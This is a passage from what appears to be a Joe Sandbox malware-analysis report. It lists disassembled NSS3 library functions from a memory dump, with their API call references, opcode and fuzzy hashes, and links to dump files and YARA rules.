Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 6c0042eefaf6541f04c8b820cdfc918017cea1f03830c29c448788d8b826533f
Instruction ID: 038dd3ab08504f39ff6517ab6ac989fa92526dfe1d23109841bfbe5fe77cdc9f
Opcode Fuzzy Hash: 6c0042eefaf6541f04c8b820cdfc918017cea1f03830c29c448788d8b826533f
Instruction Fuzzy Hash: 0921D7B2A04300ABD7149B15AC41FAB77A8BB8971CF04053DF959A7B41F731D528C79A

Function 6CC4CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CC4CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CC4CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CC4D079

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: e488fb2e8b0e0d39be2a386400737b0504eacf4c5b230f48dfde1b50214e5614
Instruction ID: af66fcc0bf275155fda8b5ace597720a38d0b4c6a97858a0d9c03bbb884f9077
Opcode Fuzzy Hash: e488fb2e8b0e0d39be2a386400737b0504eacf4c5b230f48dfde1b50214e5614
Instruction Fuzzy Hash: 14C16EB1A002199BDB10DF25CC84BDAB7B4BF48318F14C1A8E948A7751F775EA99CF90

Function 6CC3DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CC497C1,?,00000000,00000000,?,?,?,00000000,?,6CC27F4A,00000000), ref: 6CC3DC68

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CC27F4A,00000000,?,00000000,00000000), ref: 6CC3DFAA

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: c44da82b77ba8995599d07ed69440b5d9e1a367dc7c62d260c89aaff5807b226
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 6D81F7746366208BFB105E19F8D03697AD2EB64349F20A43AD51ECBFE1F774C498C652

Function 6CC13C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CC13C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC13C94

Part of subcall function 6CC095B0: TlsGetValue.KERNEL32(00000000,?,6CC200D2,00000000), ref: 6CC095D2
Part of subcall function 6CC095B0: EnterCriticalSection.KERNEL32(?,?,?,6CC200D2,00000000), ref: 6CC095E7
Part of subcall function 6CC095B0: PR_Unlock.NSS3(?,?,?,?,6CC200D2,00000000), ref: 6CC09605

PORT_NewArena_Util.NSS3(00000800), ref: 6CC13CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CC13CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CC13CE1

Part of subcall function 6CC13090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC2AE42), ref: 6CC130AA
Part of subcall function 6CC13090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC130C7
Part of subcall function 6CC13090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CC130E5
Part of subcall function 6CC13090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC13116
Part of subcall function 6CC13090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC1312B
Part of subcall function 6CC13090: PK11_DestroyObject.NSS3(?,?), ref: 6CC13154
Part of subcall function 6CC13090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC1317E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 113310de1a4c511c0984feaba8b9c11b934c95937d58ed6e8f215efdf5d505ef
Instruction ID: f79e3c04c1d775440fdace1bdd649f040d6cdef47cae37189dfe27076c206151
Opcode Fuzzy Hash: 113310de1a4c511c0984feaba8b9c11b934c95937d58ed6e8f215efdf5d505ef
Instruction Fuzzy Hash: BF61B2B1A04300ABEB105F66DC45FAB76B9EF0474CF4C8028FE499AE92F721D914D7A1

Function 6CC53D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CC53440: PK11_GetAllTokens.NSS3 ref: 6CC53481
Part of subcall function 6CC53440: PR_SetError.NSS3(00000000,00000000), ref: 6CC534A3
Part of subcall function 6CC53440: TlsGetValue.KERNEL32 ref: 6CC5352E
Part of subcall function 6CC53440: EnterCriticalSection.KERNEL32(?), ref: 6CC53542
Part of subcall function 6CC53440: PR_Unlock.NSS3(?), ref: 6CC5355B

TlsGetValue.KERNEL32 ref: 6CC53D8B
EnterCriticalSection.KERNEL32(?), ref: 6CC53D9F
PR_Unlock.NSS3(?), ref: 6CC53DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CC53DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC53E4F

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

TlsGetValue.KERNEL32 ref: 6CC53E97
EnterCriticalSection.KERNEL32(?), ref: 6CC53EAB
PR_Unlock.NSS3(?), ref: 6CC53ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CC53EEE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: a46f0f32864fd1ea87662f2f427903166c52f8e1d607b68201761d62c25c7f9a
Instruction ID: c02e75b49763dfe03c1d39d46e98de3755b0afbf50201ac006a4da38ff09c9d0
Opcode Fuzzy Hash: a46f0f32864fd1ea87662f2f427903166c52f8e1d607b68201761d62c25c7f9a
Instruction Fuzzy Hash: A5511572A002019FEB01AF69DC45B6A73B8BF45318F894568DE0947A22FB71E875C7A1

Function 6CC02C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(9D944D0E), ref: 6CC02C5D

Part of subcall function 6CC60D30: calloc.MOZGLUE ref: 6CC60D50
Part of subcall function 6CC60D30: TlsGetValue.KERNEL32 ref: 6CC60D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CC02C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC02CE0

Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC02CDA,?,00000000), ref: 6CC02E1E
Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CC02E33
Part of subcall function 6CC02E00: TlsGetValue.KERNEL32 ref: 6CC02E4E
Part of subcall function 6CC02E00: EnterCriticalSection.KERNEL32(?), ref: 6CC02E5E
Part of subcall function 6CC02E00: PL_HashTableLookup.NSS3(?), ref: 6CC02E71
Part of subcall function 6CC02E00: PL_HashTableRemove.NSS3(?), ref: 6CC02E84
Part of subcall function 6CC02E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CC02E96
Part of subcall function 6CC02E00: PR_Unlock.NSS3 ref: 6CC02EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC02D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CC02D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CC02D3F
free.MOZGLUE(00000000), ref: 6CC02D73
CERT_DestroyCertificate.NSS3(?), ref: 6CC02DB8
free.MOZGLUE ref: 6CC02DC8

Part of subcall function 6CC03E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC03EC2
Part of subcall function 6CC03E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC03ED6
Part of subcall function 6CC03E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC03EEE
Part of subcall function 6CC03E60: PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC03F02
Part of subcall function 6CC03E60: PL_FreeArenaPool.NSS3 ref: 6CC03F14
Part of subcall function 6CC03E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC03F27

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: ad0f9bd35c37429bfe4cd0a21bbc128c8e99f8dac33f1be5dadd9e3d219fd71d
Instruction ID: e4fc644a545641895cd2a780cd07ee3d2b2e323ad7a32081294f5163a7bb493e
Opcode Fuzzy Hash: ad0f9bd35c37429bfe4cd0a21bbc128c8e99f8dac33f1be5dadd9e3d219fd71d
Instruction Fuzzy Hash: BD51CD71B043129BEB109F69DCA8B5B7BE5EF84348F140569EC5983A50F732EC15CB92

Function 6CC28F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC29013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC29042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC2905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC29073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC290EC

Part of subcall function 6CBF0F00: PR_GetPageSize.NSS3(6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F1B
Part of subcall function 6CBF0F00: PR_NewLogModule.NSS3(clock,6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC29111

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 58d83f4f439512b979e3787a7371a27893387e27a6e2e3b18eef8b9a01ac9361
Instruction ID: 032997a81b334bade00195d0d8ce02d7587cbc89f1c70c2f8b38b824a776b19a
Opcode Fuzzy Hash: 58d83f4f439512b979e3787a7371a27893387e27a6e2e3b18eef8b9a01ac9361
Instruction Fuzzy Hash: 3B51BD71A046058FEF00EF39C488669BBF8BF4A318F0545A9DD44DB715EB38E885CB91

Function 6CC07CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CC03F7F,?,00000055,?,?,6CC01666,?,?), ref: 6CC040D9
Part of subcall function 6CC040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CC01666,?,?), ref: 6CC040FC
Part of subcall function 6CC040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CC01666,?,?), ref: 6CC04138

PR_GetCurrentThread.NSS3 ref: 6CC07CFD

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CD29030), ref: 6CC07D1B

Part of subcall function 6CC5FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CC01A3E,00000048,00000054), ref: 6CC5FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CD29048), ref: 6CC07D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CC07D50
PR_GetCurrentThread.NSS3 ref: 6CC07D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CC07D7D
free.MOZGLUE(?), ref: 6CC07D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CC07DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CC07E19

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 19a1d9ddd9070f50b33211951279ef98fbb34f932c48ee29e828fa92eddf5c6f
Instruction ID: fde53bdc364cf55ad8e72c394967eb66fff744b202501c354b8d7e21a53ed516
Opcode Fuzzy Hash: 19a1d9ddd9070f50b33211951279ef98fbb34f932c48ee29e828fa92eddf5c6f
Instruction Fuzzy Hash: 9C41D472B0021A9BEF049F699C41BAF37A8AF5035CF0500A4ED19A7B51F732E919D7A1

Function 6CC17EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CC180DD), ref: 6CC17F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CC180DD), ref: 6CC17F36
free.MOZGLUE(?,?,?,6CC180DD), ref: 6CC17F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CC180DD), ref: 6CC17F5D
DeleteCriticalSection.KERNEL32(?,6CC180DD), ref: 6CC17F94
free.MOZGLUE(?), ref: 6CC17F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CC180DD), ref: 6CC17FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CC180DD), ref: 6CC17FE6
free.MOZGLUE(?,6CC180DD), ref: 6CC1802D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 4fbde89f89bea0000862c0b3fee877fc8bef8007ddaa9e85a9a46bca5adcc1b0
Instruction ID: 85e6c3848989088d76e2a1bb8f905559b60b176427b3166841e9ab67f27d1205
Opcode Fuzzy Hash: 4fbde89f89bea0000862c0b3fee877fc8bef8007ddaa9e85a9a46bca5adcc1b0
Instruction Fuzzy Hash: 5341D4B1B091104FEB10DFBBC888A6B37BDAB4635CF15022AE71987B80E7359505DBB1

Function 6CC5FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC5FF00

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CC5FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC5FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CC5FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC5FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC5FF8C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 50553090a447735dc18ee57297f4ccd417fc79ea7c4a9d8ab53703640b0efe75
Instruction ID: d5db1dfc2b7ccf59d3eb1580037eb7eadbd70bb922a33f79702318767f187697
Opcode Fuzzy Hash: 50553090a447735dc18ee57297f4ccd417fc79ea7c4a9d8ab53703640b0efe75
Instruction Fuzzy Hash: 903122B29053129FEB108E9A9880B5B76E8AF42348F140239ED1997F41F732D935C7D9

Function 6CC63CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CC638BD), ref: 6CC63CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CC638BD), ref: 6CC63CD1

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CD3B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CD3B369,000000FF,00000000,00000000,00000000,6CC638BD), ref: 6CC63D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CC63D47
free.MOZGLUE(00000000), ref: 6CC63D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CC638BD), ref: 6CC63D6F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 00959e3009046086e20a3628981cfb91203983930040d65727f5868e42897698
Instruction ID: 5a0881c58565706ac248ac973ec1f55bfc674f40404d10538bd7d1a486e0fa57
Opcode Fuzzy Hash: 00959e3009046086e20a3628981cfb91203983930040d65727f5868e42897698
Instruction Fuzzy Hash: B721C9B57011123BFB10667B8D89E7739ACDFC66A4F180275B939D7AC0FA60D800C271

Function 6CC64DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CC6536F,00000022,?,?,00000000,?), ref: 6CC64E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CC64F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CC64F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CC64FAE
free.MOZGLUE(?), ref: 6CC64FC8

Strings

%s=%s, xrefs: 6CC64F89
%s=%c%s%c, xrefs: 6CC64FA9

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
